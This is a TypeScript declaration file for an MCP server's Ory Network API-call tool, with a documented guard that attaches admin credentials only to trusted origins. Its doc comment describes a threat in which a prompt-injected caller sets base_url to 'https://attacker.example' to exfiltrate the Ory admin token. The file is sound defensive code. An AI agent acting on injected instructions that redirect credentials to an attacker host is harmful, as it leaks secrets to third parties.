import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
declare const HTTP_METHODS: readonly ["GET", "POST", "PUT", "PATCH", "DELETE"];
type HttpMethod = (typeof HTTP_METHODS)[number];
interface ApiCallParams {
    method: HttpMethod;
    path: string;
    base_url?: string;
    body?: string;
    headers?: Record<string, string>;
    query?: Record<string, string>;
    api_key?: string;
}
/** Drop the cached CLI lookup. For tests. */
export declare function resetProjectUrlCache(): void;
/**
 * Credential-attachment guard.
 *
 * The env-configured admin credential (ORY_API_KEY / ORY_ACCESS_TOKEN) is only
 * auto-attached when the request targets a trusted origin. Otherwise a
 * prompt-injected caller could pass base_url="https://attacker.example" and
 * exfiltrate the Ory Network admin token.
 *
 * Trusted origins:
 * - The origin of the env-configured project URL (ORY_PROJECT_URL / ORY_SDK_URL).
 * - Ory Network hosts over https: *.projects.oryapis.com / *.oryapis.com
 *   (and oryapis.com itself) and api.console.ory.sh.
 * - Loopback hosts (localhost / 127.0.0.1 / ::1) over http or https on any
 *   port, for the local-dev Ory stack (e.g. http://localhost:4000).
 */
export declare function isTrustedOryOrigin(target: URL): boolean;
export declare function executeApiCall(params: ApiCallParams): Promise<{
    content: Array<{
        type: "text";
        text: string;
    }>;
    isError?: boolean;
}>;
export declare function registerApiTools(server: McpServer): void;
export {};